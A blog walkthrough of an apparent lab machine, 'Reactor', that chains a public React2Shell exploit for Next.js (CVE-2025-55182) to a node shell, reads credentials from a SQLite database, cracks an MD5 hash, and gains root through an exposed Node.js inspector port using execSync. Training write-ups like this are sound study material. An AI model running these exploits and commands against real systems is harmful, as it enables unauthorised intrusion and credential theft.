Reactor

· j35se's blog


About #

Reactor is an easy-difficulty Linux machine built around a ReactorWatch nuclear-monitoring dashboard, a Next.js 15.0.3 / React 19.0.0 application exposed on port 3000. The stack is vulnerable to CVE-2025-55182 better known as React2Shell, an unsafe-deserialization flaw in React Server Components that grants unauthenticated remote code execution. Using a public proof-of-concept, we obtain a foothold as the low-privileged node service account. From there, we enumerate the application directory, recover a SQLite database containing user records, and crack an MD5 password hash to obtain valid SSH credentials for the engineer user. Privilege escalation abuses a root-owned monitoring service that was launched with the Node.js --inspect debugger flag bound to a local port. By tunneling to that debug port and driving it through the V8 inspector protocol, we execute code as root and escalate to a full root shell.


Initial Scan #

The IP provided for the system was 10.129.245.214. First I performed an NMAP scan. sudo NMAP -sS -Pn -p- -sV -oN reactor 10.129.245.214 -v

The results for the scan were:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?

Reactor Watch #

Going to 10.129.245.214:3000 in Firefox took me to a REACTORWATCH page. I didn't find anything interesting here.

From the About section, this target was vulnerable to CVE-2025-55182, commonly known as React2Shell. Here is the proof of concept I used to exploit the system. Since this is an older and widely known vulnerability, there are countless POCs to use.

I used git clone https://github.com/ThemeHackers/CVE-2025-55182 to download a copy of the POC. My first attempt using the exploit returned an error.

python3 CVE-2025-55182.py -u 10.129.245.214:3000                                                                                     
React2Shell Scanner - CVE-2025-55182/CVE-2025-66478
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[ERROR] 10.129.245.214:3000 - SSL Error: HTTPSConnectionPool(host='10.129.245.214', port=3000): Max retries exceeded with url: / (Caused by SSLError(SSLError(1, '[SSL: 
WRONG_VERSION_NUMBER] wrong version number (_ssl.c:1127)')))

| Category         |Count  |
|------------------|-------|
| Total Scanned    |     1 |
| Vulnerable       |     0 |
| Potential Bypass |     0 |
| Not Vulnerable   |     0 |
| Errors           |     1 |

The next time, I specified "http" before the IP and the output showed the target was vulnerable.

python3 CVE-2025-55182.py -u http://10.129.245.214:3000   
React2Shell Scanner - CVE-2025-55182/CVE-2025-66478
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[DEBUG] Elapsed: 0.16s (Variant: None)
[VULNERABLE] http://10.129.245.214:3000 - RCE Confirmed!

=== HTTP Request ===
POST http://10.129.245.214:3000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Next-Action: 007138e0bfbdd7fe024391a1251fd5861f0b5145dc
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 720

--SNIP--

=== HTTP Response ===
Status: 303
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
cache-control: private, no-cache, no-store, max-age=0, must-revalidate
x-action-revalidated: [[],0,0]
x-action-redirect: /login?a=MTExMTEK;push
content-type: text/x-component
date: Fri, 09 Oct 2026 15:24:59 GMT
x-nextjs-cache: HIT
x-nextjs-prerender: 1
X-Powered-By: Next.js
Content-Encoding: gzip
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

---SNIP---

[VULNERABLE] http://10.129.245.214:3000 - Status: 303
        
        Scan Summary        
| Category         |Count  |
|------------------|-------|
| Total Scanned    |     1 |
| Vulnerable       |     1 |
| Potential Bypass |     0 |
| Not Vulnerable   |     0 |
| Errors           |     0 |

Using the --exploit flag, I was able to get an exploit shell.

python3 CVE-2025-55182.py -u http://10.129.245.214:3000 --exploit
React2Shell Scanner - CVE-2025-55182/CVE-2025-66478
[*] Starting interactive shell on http://10.129.245.214:3000
[*] Type 'exit' or 'quit' to stop
Shell> pwd
/opt/reactor-app

Shell> id
uid=999(node) gid=988(node) groups=988(node)

Shell> 

Exploit Shell #

Running ls -al showed a .env file. When it was read, there was a DB_PATH pointing to the reactor.db I saw and an API key. Running the file command against the database, file showed it was an SQLite 3 database.

Shell> ls -al
total 76
drwxr-xr-x  5 node node  4096 Dec 28  2025 .
drwxr-xr-x  4 root root  4096 Apr 27 11:26 ..
drwxr-xr-x  2 node node  4096 Dec 28  2025 app
-rw-r--r--  1 node node   276 Dec 28  2025 .env
drwxr-xr-x  7 node node  4096 Dec 28  2025 .next
-rw-r--r--  1 node node   172 Dec 28  2025 next.config.js
drwxr-xr-x 30 node node  4096 Dec 28  2025 node_modules
-rw-r--r--  1 node node   269 Dec 28  2025 package.json
-rw-r--r--  1 node node 29329 Dec 28  2025 package-lock.json
-rw-r-----  1 node node 12288 Dec 28  2025 reactor.db

Shell> cat .env
# ReactorWatch Configuration
# Database connection for sensor data

DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3

# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook

# Node environment
NODE_ENV=production

Shell> file reactor.db
reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7

When I ran sqlite3 reactor.db, nothing happened. This is when I decided to copy the database to my system to read it. I tried multiple ways to copy the database file over using different combinations of nc and python -m serverupload as well as a few reverse shells, but nothing worked. Finally, I tried a copy and paste using base64 encode/decode.

cat reactor.db | base64 -w 0;echo 

U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABwAAAAMAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAAAAABA
---SNIP---
OT01JTkFMNAEGADMlBxsyMDI1LTEyLTI4IDE0OjMyOjAxQ09SRV9URU1QXzAxQHRIAAAAAABOT01JTkFM

After using vim to create reactor_db_encode on my system, I pasted the base 64 output to it. Next I decoded the file and sent the output to reactor.db. Finally I hashed both database files using SHA1 to verify they were the same.

cat ractor_db_encode| base64 -d > reactor.db

kali $ sha1sum reactor.db                          
038cec887ecb77aec03ada4cf4a56eefc659c0b4  reactor.db

Shell> sha1sum reactor.db
038cec887ecb77aec03ada4cf4a56eefc659c0b4  reactor.db

Having an exact copy of the database on my system, I was able to load it and saw password hashes for admin and engineer.

sqlite3 reactor.db
SQLite version 3.53.4 2026-07-24 19:02:57
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs     users
sqlite> select * from users;

| id | username | password_hash                    | role          | email  |
|  1 | admin    | a203b22191d744a4e70ada5c101b17b8 | administrator | admin@reactor.htb |
|  2 | engineer | 39d97110eafe2a9a68639812cd271e8e | operator      | engineer@reactor.htb |
sqlite> 

I put the hashes in a text file called hashes.txt. Then, to make sure I used the right mode, I checked the HashCat site and used the rockyou wordlist.

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

---SNIP---

39d97110eafe2a9a68639812cd271e8e:reactor1

The clear text password for engineer was reactor1.


SSH with engineer #

When the initial scan was done, NMAP showed SSH port 22 was open, so I tried ssh engineer@10.129.245.214 using the password reactor1. I was able to get an SSH shell and retrieve the user flag.

ssh engineer@10.129.245.214
The authenticity of host '10.129.245.214 (10.129.245.214)' can't be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.245.214' (ED25519) to the list of known hosts.
engineer@10.129.245.214's password: 
 ____  _____    _    ____ _____ ___  ____  
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \ 
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ < 
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\

    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7
    
    AUTHORIZED PERSONNEL ONLY
Last login: Fri Oct 9 17:14:44 2026 from 10.10.17.138
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt 
<USER FLAG>
engineer@reactor:~$ 

From here, I moved to privilege escalation.


Privilege Escalation to Root #

Not sure where to go from here, I used this walk-through to help me out.

I used Socket Statistics to get an overview of the connections on the target system.

engineer@reactor:~$ ss -tnlp

State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 [::]:22 [::]:*
LISTEN 339 511 *:3000 :

According to the Node.js website, the inspector client's default port is 9229 and can be accessed using http://localhost:<inspect-port>/json/list.

In the SSH terminal, I ran the curl command and received a response.

engineer@reactor:~$ curl http://localhost:9229/json/list
[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=localhost:9229/bda31f32-dda5-4961-8bb2-79ebcf854dee",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=localhost:9229/bda31f32-dda5-4961-8bb2-79ebcf854dee",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "bda31f32-dda5-4961-8bb2-79ebcf854dee",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "url": "file:///opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://localhost:9229/bda31f32-dda5-4961-8bb2-79ebcf854dee"
} ]

Curl showed that the debugger was accessible, and running node inspect 127.0.0.1:9229 started it.

engineer@reactor:~$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok

To better understand what the next commands were doing, here is a breakdown:

exec("process.mainModule.require('child_process').execSync('whoami').toString()")

After I verified I was root, I read the root flag.

debug> exec("process.mainModule.require('child_process').execSync('whoami').toString()")
'root\n'

debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")

'<ROOT FLAG>\n'